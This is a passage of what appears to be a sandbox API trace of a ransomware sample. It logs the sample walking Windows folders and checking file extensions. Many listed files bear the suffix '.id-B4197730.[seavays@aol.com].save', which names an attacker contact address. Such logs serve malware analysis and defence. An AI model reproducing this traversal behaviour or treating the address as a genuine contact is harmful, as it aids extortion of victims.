(lpString=".pub") returned 4 [0157.823] lstrcmpiW (lpString1=".pub", lpString2="save") returned -1 [0157.823] lstrlenW (lpString=".pwm") returned 4 [0157.823] lstrcmpiW (lpString1=".pwm", lpString2="save") returned -1 [0157.823] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed6c16, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6ed6c16, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6ed6c16, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="OOBE_2~1.SAV")) returned 1 [0157.824] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efcda1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6efcda1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f230d1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 1 [0157.824] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efcda1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6efcda1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f230d1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 0 [0157.824] FindClose (in: hFindFile=0x72a3c8 | out: hFindFile=0x72a3c8) returned 1 [0157.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0157.825] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0157.825] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0157.825] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName=".", cAlternateFileName="")) returned 0x72a3c8 [0157.827] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="..", cAlternateFileName="")) returned 1 [0157.827] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9582c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f9582c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6fbba69, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="GetCurrentOOBE.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="GETCUR~2.SAV")) returned 1 [0157.828] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5159d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f5159d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x721ded6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="GetCurrentRollback.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="GETCUR~1.SAV")) returned 1 [0157.828] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe1d31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6fe1d31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x72441bf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="PartnerSetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 1 [0157.828] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe1d31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6fe1d31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="preoobe.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PREOOB~1.SAV")) returned 1 [0157.828] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702e12c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x702e12c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="SetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPC~1.SAV")) returned 1 [0157.828] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702e12c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x702e12c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xfffffbfe, dwReserved1=0x315, cFileName="SetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPC~1.SAV")) returned 0 [0157.828] FindClose (in: hFindFile=0x72a3c8 | out: hFindFile=0x72a3c8) returned 1 [0157.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0157.829] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0157.829] FindClose (in: hFindFile=0x72a6c8 | out: hFindFile=0x72a6c8) returned 1 [0157.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0157.831] FindNextFileW (in: hFindFile=0x72a348, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0157.831] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3750048 [0157.831] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x72a3c8 [0157.832] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0157.832] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0157.832] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0157.832] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0xffffe039, dwReserved1=0x3a, cFileName="\xfce6\xffff\x37a0\x79\x1ff", cAlternateFileName="\xa078\x79\x08")) returned 0xffffffff [0157.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0157.833] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0157.834] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0157.834] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe039, dwReserved1=0x3a, cFileName=".", cAlternateFileName="")) returned 0x72a848 [0157.834] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe039, dwReserved1=0x3a, cFileName="..", cAlternateFileName="")) returned 1 [0157.834] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9febb52a, ftCreationTime.dwHighDateTime=0x1d535a3, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffe039, dwReserved1=0x3a, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0157.834] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f6f529, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f6f529, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f9582c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffe039, dwReserved1=0x3a, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 1 [0157.834] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f6f529, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f6f529, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f9582c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffe039, dwReserved1=0x3a, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 0 [0157.835] FindClose (in: hFindFile=0x72a848 | out: hFindFile=0x72a848) returned 1 [0157.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0157.835] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0157.835] FindClose (in: hFindFile=0x72a3c8 | out: hFindFile=0x72a3c8) returned 1 [0157.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0157.836] FindNextFileW (in: hFindFile=0x72a348, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0157.836] FindNextFileW (in: hFindFile=0x72a348, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0157.836] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3750048 [0157.837] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x72a788 [0158.291] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0158.292] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0158.292] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.292] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a4c8 [0158.295] FindNextFileW (in: hFindFile=0x72a4c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.295] FindNextFileW (in: hFindFile=0x72a4c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7708c77, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7708c77, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7708c77, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.295] FindNextFileW (in: hFindFile=0x72a4c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x737fee6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.296] FindNextFileW (in: hFindFile=0x72a4c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x739b662, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x739b662, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.296] FindNextFileW (in: hFindFile=0x72a4c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x739b662, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x739b662, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.296] FindClose (in: hFindFile=0x72a4c8 | out: hFindFile=0x72a4c8) returned 1 [0158.297] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.297] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0158.297] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.297] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a848 [0158.299] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x70eccf8, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x70eccf8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.299] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x767047d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x767047d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x769659b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.300] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x769659b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x769659b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x76bc70d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.300] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: 